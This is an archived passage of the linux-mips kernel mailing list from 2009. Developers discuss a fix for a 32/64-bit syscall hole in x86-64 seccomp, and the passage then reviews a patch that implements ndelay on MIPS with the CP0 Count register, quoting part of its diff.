S20808938AbZB1HcG (ORCPT ); Sat, 28 Feb 2009 07:32:06 +0000 Received: from elvis.elte.hu ([157.181.1.14]) by mx2.mail.elte.hu with esmtp (Exim) id 1LdJfy-00052B-3y from ; Sat, 28 Feb 2009 08:32:00 +0100 Received: by elvis.elte.hu (Postfix, from userid 1004) id DD0843E2132; Sat, 28 Feb 2009 08:31:55 +0100 (CET) Date: Sat, 28 Feb 2009 08:31:54 +0100 From: Ingo Molnar To: Roland McGrath Cc: Linus Torvalds , Andrew Morton , x86@kernel.org, linux-kernel@vger.kernel.org, stable@kernel.org, linux-mips@linux-mips.org, sparclinux@vger.kernel.org, linuxppc-dev@ozlabs.org Subject: Re: [PATCH 2/2] x86-64: seccomp: fix 32/64 syscall hole Message-ID: <20090228073154.GG9351@elte.hu> References: <20090228030226.C0D34FC3DA@magilla.sf.frob.com> <20090228030413.5B915FC3DA@magilla.sf.frob.com> <20090228072554.CFEA6FC3DA@magilla.sf.frob.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20090228072554.CFEA6FC3DA@magilla.sf.frob.com> User-Agent: Mutt/1.5.18 (2008-05-17) Received-SPF: neutral (mx2: 157.181.1.14 is neither permitted nor denied by domain of elte.hu) client-ip=157.181.1.14; envelope-from=mingo@elte.hu; helo=elvis.elte.hu; X-ELTE-VirusStatus: clean X-ELTE-SpamScore: -1.5 X-ELTE-SpamLevel: X-ELTE-SpamCheck: no X-ELTE-SpamVersion: ELTE 2.0 X-ELTE-SpamCheck-Details: score=-1.5 required=5.9 tests=BAYES_00 autolearn=no SpamAssassin version=3.2.3 -1.5 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21982 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: mingo@elte.hu Precedence: bulk X-list: linux-mips Content-Length: 379 Lines: 14 * Roland McGrath wrote: > +#ifdef CONFIG_COMPAT > + if (is_compat_task()) > syscall = mode1_syscalls_32; > #endif btw., shouldnt is_compat_task() expand to 0 in the !CONFIG_COMPAT case? That way we could remove this #ifdef too. (and move the first #ifdef inside the array initialization so that we always have a mode1_syscalls_32[] array.) Ingo From roland@redhat.com Sat Feb 28 07:36:39 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 28 Feb 2009 07:36:43 +0000 (GMT) Received: from mx1.redhat.com ([66.187.233.31]:22191 "EHLO mx1.redhat.com") by ftp.linux-mips.org with ESMTP id S20808943AbZB1Hgj (ORCPT ); Sat, 28 Feb 2009 07:36:39 +0000 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id n1S7a7N9023603; Sat, 28 Feb 2009 02:36:07 -0500 Received: from gateway.sf.frob.com (vpn-12-144.rdu.redhat.com [10.11.12.144]) by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id n1S7a7Ka005577; Sat, 28 Feb 2009 02:36:08 -0500 Received: from magilla.sf.frob.com (magilla.sf.frob.com [198.49.250.228]) by gateway.sf.frob.com (Postfix) with ESMTP id BE5B6357B; Fri, 27 Feb 2009 23:36:04 -0800 (PST) Received: by magilla.sf.frob.com (Postfix, from userid 5281) id 84F3EFC3DA; Fri, 27 Feb 2009 23:36:04 -0800 (PST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: Roland McGrath To: Ingo Molnar X-Fcc: ~/Mail/linus Cc: Linus Torvalds , Andrew Morton , x86@kernel.org, linux-kernel@vger.kernel.org, stable@kernel.org, linux-mips@linux-mips.org, sparclinux@vger.kernel.org, linuxppc-dev@ozlabs.org Subject: Re: [PATCH 2/2] x86-64: seccomp: fix 32/64 syscall hole In-Reply-To: Ingo Molnar's message of Saturday, 28 February 2009 08:31:54 +0100 <20090228073154.GG9351@elte.hu> References: <20090228030226.C0D34FC3DA@magilla.sf.frob.com> <20090228030413.5B915FC3DA@magilla.sf.frob.com> <20090228072554.CFEA6FC3DA@magilla.sf.frob.com> <20090228073154.GG9351@elte.hu> Emacs: the prosecution rests its case. Message-Id: <20090228073604.84F3EFC3DA@magilla.sf.frob.com> Date: Fri, 27 Feb 2009 23:36:04 -0800 (PST) X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254 Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21983 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: roland@redhat.com Precedence: bulk X-list: linux-mips Content-Length: 356 Lines: 11 > btw., shouldnt is_compat_task() expand to 0 in the > !CONFIG_COMPAT case? That way we could remove this #ifdef too. > (and move the first #ifdef inside the array initialization so > that we always have a mode1_syscalls_32[] array.) I guess you mean define it in linux/compat.h then? Go right ahead. Whatever you want is fine by me. Thanks, Roland From torvalds@linux-foundation.org Sat Feb 28 17:24:24 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 28 Feb 2009 17:24:27 +0000 (GMT) Received: from smtp1.linux-foundation.org ([140.211.169.13]:30110 "EHLO smtp1.linux-foundation.org") by ftp.linux-mips.org with ESMTP id S20809009AbZB1RYY (ORCPT ); Sat, 28 Feb 2009 17:24:24 +0000 Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55]) by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id n1SHNcCr017887 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 28 Feb 2009 09:23:39 -0800 Received: from localhost (localhost [127.0.0.1]) by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id n1SHNan3025069; Sat, 28 Feb 2009 09:23:36 -0800 Date: Sat, 28 Feb 2009 09:23:36 -0800 (PST) From: Linus Torvalds X-X-Sender: torvalds@localhost.localdomain To: Roland McGrath cc: Andrew Morton , x86@kernel.org, linux-kernel@vger.kernel.org, stable@kernel.org, linux-mips@linux-mips.org, sparclinux@vger.kernel.org, linuxppc-dev@ozlabs.org Subject: Re: [PATCH 2/2] x86-64: seccomp: fix 32/64 syscall hole In-Reply-To: <20090228072554.CFEA6FC3DA@magilla.sf.frob.com> Message-ID: References: <20090228030226.C0D34FC3DA@magilla.sf.frob.com> <20090228030413.5B915FC3DA@magilla.sf.frob.com> <20090228072554.CFEA6FC3DA@magilla.sf.frob.com> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-MIMEDefang-Filter: lf$Revision: 1.188 $ X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13 Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21984 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: torvalds@linux-foundation.org Precedence: bulk X-list: linux-mips Content-Length: 931 Lines: 26 On Fri, 27 Feb 2009, Roland McGrath wrote: > > I don't know any other arch well enough to be sure that TIF_32BIT isn't the > wrong test there too. I'd like to leave that worry to the arch maintainers. Agreed - it may be that others will want to not use TIF_32BIT too. It really does make much more sense to have it as a thread-local status flag than as an atomic (and thus expensive to modify) thread-flag, not just on x86. But I think other architectures will find it easier to see what's going on if the code is straightforward and they can just fix their 'is_compat_task()' function. And: > But here is the patch you asked for. Yes, this looks much more straightforward. And I guess the seccomp interaction means that this is potentially a 2.6.29 thing. Not that I know whether anybody actually _uses_ seccomp. It does seem to be enabled in at least Fedora kernels, but it might not be used anywhere. Linus From greg@kroah.com Sat Feb 28 17:47:21 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 28 Feb 2009 17:47:23 +0000 (GMT) Received: from kroah.org ([198.145.64.141]:7631 "EHLO coco.kroah.org") by ftp.linux-mips.org with ESMTP id S20809016AbZB1RrS (ORCPT ); Sat, 28 Feb 2009 17:47:18 +0000 Received: from localhost (c-76-105-230-205.hsd1.or.comcast.net [76.105.230.205]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by coco.kroah.org (Postfix) with ESMTPSA id 1E2EF4903F; Sat, 28 Feb 2009 09:47:16 -0800 (PST) Date: Sat, 28 Feb 2009 09:46:01 -0800 From: Greg KH To: Linus Torvalds Cc: Roland McGrath , linux-mips@linux-mips.org, x86@kernel.org, linux-kernel@vger.kernel.org, linuxppc-dev@ozlabs.org, sparclinux@vger.kernel.org, Andrew Morton , stable@kernel.org Subject: Re: [stable] [PATCH 2/2] x86-64: seccomp: fix 32/64 syscall hole Message-ID: <20090228174601.GB27607@kroah.com> References: <20090228030226.C0D34FC3DA@magilla.sf.frob.com> <20090228030413.5B915FC3DA@magilla.sf.frob.com> <20090228072554.CFEA6FC3DA@magilla.sf.frob.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.16 (2007-06-09) Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21985 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: greg@kroah.com Precedence: bulk X-list: linux-mips Content-Length: 493 Lines: 16 On Sat, Feb 28, 2009 at 09:23:36AM -0800, Linus Torvalds wrote: > On Fri, 27 Feb 2009, Roland McGrath wrote: > > But here is the patch you asked for. > > Yes, this looks much more straightforward. > > And I guess the seccomp interaction means that this is potentially a > 2.6.29 thing. Not that I know whether anybody actually _uses_ seccomp. It > does seem to be enabled in at least Fedora kernels, but it might not be > used anywhere. It's enabled in SuSE kernels. thanks, greg k-h From SRS0+2989a05f4816f000e041+2015+infradead.org+arjan@casper.srs.infradead.org Sat Feb 28 17:54:07 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 28 Feb 2009 17:54:09 +0000 (GMT) Received: from casper.infradead.org ([85.118.1.10]:14032 "EHLO casper.infradead.org") by ftp.linux-mips.org with ESMTP id S20809011AbZB1RyH (ORCPT ); Sat, 28 Feb 2009 17:54:07 +0000 Received: from c-67-170-138-156.hsd1.or.comcast.net ([67.170.138.156] helo=localhost.localdomain) by casper.infradead.org with esmtpsa (Exim 4.69 #1 (Red Hat Linux)) id 1LdTNw-0000xv-Cd; Sat, 28 Feb 2009 17:54:00 +0000 Date: Sat, 28 Feb 2009 09:54:33 -0800 From: Arjan van de Ven To: Greg KH Cc: Linus Torvalds , Roland McGrath , linux-mips@linux-mips.org, x86@kernel.org, linux-kernel@vger.kernel.org, linuxppc-dev@ozlabs.org, sparclinux@vger.kernel.org, Andrew Morton , stable@kernel.org Subject: Re: [stable] [PATCH 2/2] x86-64: seccomp: fix 32/64 syscall hole Message-ID: <20090228095433.6af07a89@infradead.org> In-Reply-To: <20090228174601.GB27607@kroah.com> References: <20090228030226.C0D34FC3DA@magilla.sf.frob.com> <20090228030413.5B915FC3DA@magilla.sf.frob.com> <20090228072554.CFEA6FC3DA@magilla.sf.frob.com> <20090228174601.GB27607@kroah.com> Organization: Intel X-Mailer: Claws Mail 3.7.0 (GTK+ 2.14.7; i386-redhat-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-SRS-Rewrite: SMTP reverse-path rewritten from by casper.infradead.org See http://www.infradead.org/rpr.html Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21986 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: arjan@infradead.org Precedence: bulk X-list: linux-mips Content-Length: 821 Lines: 26 On Sat, 28 Feb 2009 09:46:01 -0800 Greg KH wrote: > On Sat, Feb 28, 2009 at 09:23:36AM -0800, Linus Torvalds wrote: > > On Fri, 27 Feb 2009, Roland McGrath wrote: > > > But here is the patch you asked for. > > > > Yes, this looks much more straightforward. > > > > And I guess the seccomp interaction means that this is potentially > > a 2.6.29 thing. Not that I know whether anybody actually _uses_ > > seccomp. It does seem to be enabled in at least Fedora kernels, but > > it might not be used anywhere. > > It's enabled in SuSE kernels. > but are there users of it? I thought Andrea stopped the cpushare thing that was the only user of this.... -- Arjan van de Ven Intel Open Source Technology Centre For development, discussion and tips for power savings, visit http://www.lesswatts.org From greg@kroah.com Sat Feb 28 18:23:41 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 28 Feb 2009 18:23:43 +0000 (GMT) Received: from kroah.org ([198.145.64.141]:28035 "EHLO coco.kroah.org") by ftp.linux-mips.org with ESMTP id S20808997AbZB1SXl (ORCPT ); Sat, 28 Feb 2009 18:23:41 +0000 Received: from localhost (c-76-105-230-205.hsd1.or.comcast.net [76.105.230.205]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by coco.kroah.org (Postfix) with ESMTPSA id CA00C49040; Sat, 28 Feb 2009 10:23:39 -0800 (PST) Date: Sat, 28 Feb 2009 10:23:13 -0800 From: Greg KH To: Arjan van de Ven Cc: Linus Torvalds , Roland McGrath , linux-mips@linux-mips.org, x86@kernel.org, linux-kernel@vger.kernel.org, linuxppc-dev@ozlabs.org, sparclinux@vger.kernel.org, Andrew Morton , stable@kernel.org Subject: Re: [stable] [PATCH 2/2] x86-64: seccomp: fix 32/64 syscall hole Message-ID: <20090228182313.GA28421@kroah.com> References: <20090228030226.C0D34FC3DA@magilla.sf.frob.com> <20090228030413.5B915FC3DA@magilla.sf.frob.com> <20090228072554.CFEA6FC3DA@magilla.sf.frob.com> <20090228174601.GB27607@kroah.com> <20090228095433.6af07a89@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20090228095433.6af07a89@infradead.org> User-Agent: Mutt/1.5.16 (2007-06-09) Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21987 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: greg@kroah.com Precedence: bulk X-list: linux-mips Content-Length: 871 Lines: 27 On Sat, Feb 28, 2009 at 09:54:33AM -0800, Arjan van de Ven wrote: > On Sat, 28 Feb 2009 09:46:01 -0800 > Greg KH wrote: > > > On Sat, Feb 28, 2009 at 09:23:36AM -0800, Linus Torvalds wrote: > > > On Fri, 27 Feb 2009, Roland McGrath wrote: > > > > But here is the patch you asked for. > > > > > > Yes, this looks much more straightforward. > > > > > > And I guess the seccomp interaction means that this is potentially > > > a 2.6.29 thing. Not that I know whether anybody actually _uses_ > > > seccomp. It does seem to be enabled in at least Fedora kernels, but > > > it might not be used anywhere. > > > > It's enabled in SuSE kernels. > > > > but are there users of it? > I thought Andrea stopped the cpushare thing that was the only user of > this.... I do not really know, but as it is enabled, we need to at least fix it. thanks, greg k-h From greg@kroah.com Sat Feb 28 20:29:47 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 28 Feb 2009 20:29:50 +0000 (GMT) Received: from kroah.org ([198.145.64.141]:39557 "EHLO coco.kroah.org") by ftp.linux-mips.org with ESMTP id S20808008AbZB1U3r (ORCPT ); Sat, 28 Feb 2009 20:29:47 +0000 Received: from localhost (c-76-105-230-205.hsd1.or.comcast.net [76.105.230.205]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by coco.kroah.org (Postfix) with ESMTPSA id 5B28E4901E; Sat, 28 Feb 2009 12:29:45 -0800 (PST) Date: Sat, 28 Feb 2009 12:27:17 -0800 From: Greg KH To: Arjan van de Ven Cc: linux-mips@linux-mips.org, x86@kernel.org, linux-kernel@vger.kernel.org, linuxppc-dev@ozlabs.org, sparclinux@vger.kernel.org, Andrew Morton , Linus Torvalds , stable@kernel.org, Roland McGrath Subject: Re: [stable] [PATCH 2/2] x86-64: seccomp: fix 32/64 syscall hole Message-ID: <20090228202717.GA29139@kroah.com> References: <20090228030226.C0D34FC3DA@magilla.sf.frob.com> <20090228030413.5B915FC3DA@magilla.sf.frob.com> <20090228072554.CFEA6FC3DA@magilla.sf.frob.com> <20090228174601.GB27607@kroah.com> <20090228095433.6af07a89@infradead.org> <20090228182313.GA28421@kroah.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20090228182313.GA28421@kroah.com> User-Agent: Mutt/1.5.16 (2007-06-09) Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21988 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: greg@kroah.com Precedence: bulk X-list: linux-mips Content-Length: 1204 Lines: 33 On Sat, Feb 28, 2009 at 10:23:13AM -0800, Greg KH wrote: > On Sat, Feb 28, 2009 at 09:54:33AM -0800, Arjan van de Ven wrote: > > On Sat, 28 Feb 2009 09:46:01 -0800 > > Greg KH wrote: > > > > > On Sat, Feb 28, 2009 at 09:23:36AM -0800, Linus Torvalds wrote: > > > > On Fri, 27 Feb 2009, Roland McGrath wrote: > > > > > But here is the patch you asked for. > > > > > > > > Yes, this looks much more straightforward. > > > > > > > > And I guess the seccomp interaction means that this is potentially > > > > a 2.6.29 thing. Not that I know whether anybody actually _uses_ > > > > seccomp. It does seem to be enabled in at least Fedora kernels, but > > > > it might not be used anywhere. > > > > > > It's enabled in SuSE kernels. > > > > > > > but are there users of it? > > I thought Andrea stopped the cpushare thing that was the only user of > > this.... > > I do not really know, but as it is enabled, we need to at least fix it. Sorry, I ment "we" as in SuSE, not as the "community". As the patch can easily be backported to the SuSE kernels and resolved there, I don't think it's something that probably needs to be backported for the -stable tree either. thanks, greg k-h From paul.gortmaker@gmail.com Sat Feb 28 21:10:49 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 28 Feb 2009 21:10:52 +0000 (GMT) Received: from wf-out-1314.google.com ([209.85.200.171]:17556 "EHLO wf-out-1314.google.com") by ftp.linux-mips.org with ESMTP id S20119730AbZB1VKt convert rfc822-to-8bit (ORCPT ); Sat, 28 Feb 2009 21:10:49 +0000 Received: by wf-out-1314.google.com with SMTP id 25so1891612wfc.21 for ; Sat, 28 Feb 2009 13:10:46 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:sender:received:in-reply-to :references:date:x-google-sender-auth:message-id:subject:from:to:cc :content-type:content-transfer-encoding; bh=cIqEqgna31/xbmKivPOaD3mvBXVT5AxZ2UwBMrnHlFI=; b=oIjnZOW/YHRIuDYOfkHE3pKKB4qystmGhuLBSSYAHVAN/NUvs+dgyXNHTG4er3oASd jcmQsh58vpIXUOcRnIH3EU5yIf/mElFEoLIQqXJJNk82pumuGm3FCsxKQqTKGjHYH0VZ XxDdZA8ESQRd/9yQJmmr+k51oM/uIB/v+qszc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type :content-transfer-encoding; b=gQmDEfo2xy1UH06KA3O1QNtCD3fXgD5Llp1Q1ePTG+sNgtCEeVAyuwT0Z4sdGHwvxv LkNv3176NYY2un7zyleTK35TMhO6RdqqROsqk4nErasy6nD3eJM36cQT4Fit/7j+PoTm 8jh/Aw2GA+U/N8T+hpGzXpkhvAAcvLnfMT1YU= MIME-Version: 1.0 Received: by 10.142.141.21 with SMTP id o21mr2043980wfd.126.1235855446803; Sat, 28 Feb 2009 13:10:46 -0800 (PST) In-Reply-To: <20090227230950.GA29546@cuplxvomd02.corp.sa.net> References: <20090227230950.GA29546@cuplxvomd02.corp.sa.net> Date: Sat, 28 Feb 2009 16:10:46 -0500 X-Google-Sender-Auth: 28ac8438c26bc4e5 Message-ID: <7d1d9c250902281310o7c03da24jcb8760fdfef4d46b@mail.gmail.com> Subject: Re: [PATCH][MIPS] Use CP0 Count register to implement more granular ndelay From: Paul Gortmaker To: VomLehn Cc: linux-mips@linux-mips.org, ralf@linux-mips.org Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8BIT Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21989 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: paul.gortmaker@windriver.com Precedence: bulk X-list: linux-mips Content-Length: 21218 Lines: 572 On Fri, Feb 27, 2009 at 6:09 PM, VomLehn wrote: > The default implementation of ndelay uses udelay, which will result in the > rounding up of any requested interval to the next highest number of > microseconds. This may be a much longer delay than was desired.  However, > if the tick rate of the CP0 Count register is known, it is possible to > implement an accurate ndelay that works on multiple MIPS processors. Presumably the only case where this would ever matter is for delays that needed to be much less than udelay(1) -- is there a lot of these out there? According to git grep, the only user of ndelay in arch/mips is lasat. And, if what is there is working now, then one could argue that the calls for the short delays are not explicitly required to be less than udelay(1). > > To use this, enable CONFIG_CP0_COUNT_NDELAY and modify the platform startup > code to call init_ndelay as early as possible. A good place to call it > is probably the prom_init function. The argument to init_ndelay should be > the CP0 Count register tick rate, in kHz.  The tick rate is typically half > the processor clock rate so, if you have a 700 MHz processor, the CP0 Count > register would tick at 350 MHz and you would pass 3500000 to init_ndelay. > > At the risk of being obvious, you will need to ensure that ndelay isn't used > until after the call to init_ndelay. There are no checks to enforce this as > it would increase the latency in ndelay, but, in order to make it obvious > that init_ndelay hasn't been called early enough, the initial ndelay > parameters are set to cause a really large delay. I didn't see the arch_initcall for the init_ndelay placed anywhere in this patch. > > Signed-off-by: David VomLehn > --- >  arch/mips/Kconfig                  |    9 ++ >  arch/mips/include/asm/delay.h      |   75 ++++++++++++++ >  arch/mips/include/asm/fast-ratio.h |   53 ++++++++++ >  arch/mips/lib/Makefile             |    6 +- >  arch/mips/lib/delay.c              |   59 +++++++++++ >  arch/mips/lib/fast-ratio.c         |  196 ++++++++++++++++++++++++++++++++++++ >  6 files changed, 396 insertions(+), 2 deletions(-) > > diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig > index 0b5f16b..1568b91 100644 > --- a/arch/mips/Kconfig > +++ b/arch/mips/Kconfig > @@ -1807,6 +1807,15 @@ config NR_CPUS > >  source "kernel/time/Kconfig" > > +config CP0_COUNT_NDELAY > +       bool "Use coprocessor 0 Count register for ndelay functionality" > +       default n Does there need to be some sort of depends here to cover off any limitations where it is known that it won't work? > +       help > +         Implements the ndelay function using the coprocessor 0 Count > +         register. Using this requires including a call to init_ndelay > +         with the Count register increment frequency, in KHz, in one > +         of the early initialization functions. > + >  # >  # Timer Interrupt Frequency Configuration >  # > diff --git a/arch/mips/include/asm/delay.h b/arch/mips/include/asm/delay.h > index b0bccd2..fc41c46 100644 > --- a/arch/mips/include/asm/delay.h > +++ b/arch/mips/include/asm/delay.h > @@ -109,4 +109,79 @@ static inline void __udelay(unsigned long usecs, unsigned long lpj) >  #define MAX_UDELAY_MS  (1000 / HZ) >  #endif > > +#ifdef CONFIG_CP0_COUNT_NDELAY > +/* > + * Definitions for using MIPS CP0 Count register-based ndelay. If > + * CONFIG_CP0_COUNT_NDELAY is not defined, ndelay will default to using > + * udelay. > + */ > + > +#include > +#include > +#include > + > +/* Maximum amount of time that will be handled with ndelay, in nanoseconds. > + * Values bigger than this will be bounced up to udelay. */ > +#define        _MAX_DIRECT_NDELAY              65535 Why the leading underscore here? Maybe MAX_CP0_NDELAY would be a better choice if it has to be changed anyway? > + > +#define ndelay(n)      _ndelay(n) > + > +extern struct fast_ratio _ndelay_param; ...and here ; not sure why the leading underscore. > + > +/* > + * Compute the number of CP0 Count ticks corresponding to the interval > + * @nsecs:     Interval, expressed in nanoseconds > + * Breaking this out as its own function makes it easier to test. > + */ > +static inline unsigned int _ndelay_ticks(unsigned int nsecs) > +{ > +       return fast_ratio(nsecs, &_ndelay_param); > +} > + > +/* > + * Delay for at least the given number of nanoseconds > + * @nsecs:     Number of nanoseconds to delay > + * > + * This function uses the CP0 Count register to give a pretty accurate delay > + * for very short delay periods. Very small delays will, unavoidably, be > + * dominated by the instructions in this function but this should converge > + * to the true delay reasonably quickly before nsecs gets very large. > + * > + * NOTE: Failure to call init_ndelay will result in *very* long delay times. > + * This is done deliberately to ensure that, if you use ndelay and forget to > + * call init_delay first, you will notice your mistake quickly. > + */ > +static inline void _ndelay(unsigned long nsecs) > +{ > +       int     start; > + > +       /* The expected thing would be to do the first read of the Count > +        * register later, just before entering the delay loop. Reading here > +        * ensures that very short intervals will exit the first time through > +        * that loop. */ > +       start = read_c0_count(); Is this really going to all work on mips64? I've spent hours debugging silent boot death on mips64 due to bad variable choices used for stuff playing with read_c0_count when mips went to generic clockevents on r4k, and it wasn't fun. > + > +       if (unlikely(nsecs > _MAX_DIRECT_NDELAY)) > +               udelay(DIV_ROUND_UP(nsecs, 1000)); /* Would overflow counter */ > + > +       else { > +               int     end; > +               int     now; > + > +               end = start + _ndelay_ticks(nsecs); > + > +               do { > +                       now = read_c0_count(); > +               } while (end - now > 0); > +       } > +} > + > +extern int init_ndelay(unsigned int count_freq); > +#else > +static inline int init_ndelay(unsigned int count_freq) > +{ > +       return 0; > +} > +#endif > + >  #endif /* _ASM_DELAY_H */ > diff --git a/arch/mips/include/asm/fast-ratio.h b/arch/mips/include/asm/fast-ratio.h > new file mode 100644 > index 0000000..84ac286 > --- /dev/null > +++ b/arch/mips/include/asm/fast-ratio.h > @@ -0,0 +1,53 @@ > +/* > + *                             fast-ratio.h > + * > + * Definitions for using fast evaluator for expressions of the form: > + *         a > + *     x * - > + *         b > + * > + * where x can be constrained to some maximum value and a and b are constants. > + * > + * Copyright (C) 2009 Cisco Systems, Inc. > + * > + * This program is free software; you can redistribute it and/or modify > + * it under the terms of the GNU General Public License as published by > + * the Free Software Foundation; either version 2 of the License, or > + * (at your option) any later version. > + * > + * This program is distributed in the hope that it will be useful, > + * but WITHOUT ANY WARRANTY; without even the implied warranty of > + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > + * GNU General Public License for more details. > + * > + * You should have received a copy of the GNU General Public License > + * along with this program; if not, write to the Free Software > + * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > + */ > + > +#ifndef _ASM_MACH_POWERTV_FAST_RATIO_H_ > +#define _ASM_MACH_POWERTV_FAST_RATIO_H_ s/MACH_POWERTV_// is probably what you wanted to do here. > + > +/* Instances of this structure will normally be declared with the attribute > + * __read_mostly since it only makes sense to use the fast-ratio code if > + * you fill in the structure once for many calls to evalue the result. */ > +struct fast_ratio { > +       unsigned long   k; > +       unsigned int    s; > +       unsigned long   r; > +}; Use of "int" again tends to make me nervous. > + > +/* > + * Evaluate x * (a / b), a and b constant, as transformed for speed. > + * @x: Value to multiply by a / b > + * @fr:        Pointer to &struct fast_ratio with transformed values for a and b > + * Returns x * (a / b), rounded up in an unsigned long value > + */ > +static inline unsigned long fast_ratio(unsigned long x, struct fast_ratio *fr) > +{ > +       return (x * fr->k + fr->r) >> fr->s; > +} > + > +extern int init_fast_ratio(unsigned int max_x, unsigned long a, > +       unsigned long b, struct fast_ratio *fr); > +#endif > diff --git a/arch/mips/lib/Makefile b/arch/mips/lib/Makefile > index dbcf651..e5c4ee5 100644 > --- a/arch/mips/lib/Makefile > +++ b/arch/mips/lib/Makefile > @@ -2,8 +2,8 @@ >  # Makefile for MIPS-specific library files.. >  # > > -lib-y  += csum_partial.o memcpy.o memcpy-inatomic.o memset.o strlen_user.o \ > -          strncpy_user.o strnlen_user.o uncached.o > +lib-y  += csum_partial.o fast-ratio.o memcpy.o memcpy-inatomic.o memset.o \ > +          strlen_user.o strncpy_user.o strnlen_user.o uncached.o > >  obj-y                  += iomap.o >  obj-$(CONFIG_PCI)      += iomap-pci.o > @@ -28,5 +28,7 @@ obj-$(CONFIG_CPU_TX39XX)      += r3k_dump_tlb.o >  obj-$(CONFIG_CPU_TX49XX)       += dump_tlb.o >  obj-$(CONFIG_CPU_VR41XX)       += dump_tlb.o > > +obj-$(CONFIG_CP0_COUNT_NDELAY) += delay.o > + >  # libgcc-style stuff needed in the kernel >  obj-y += ashldi3.o ashrdi3.o cmpdi2.o lshrdi3.o ucmpdi2.o > diff --git a/arch/mips/lib/delay.c b/arch/mips/lib/delay.c > new file mode 100644 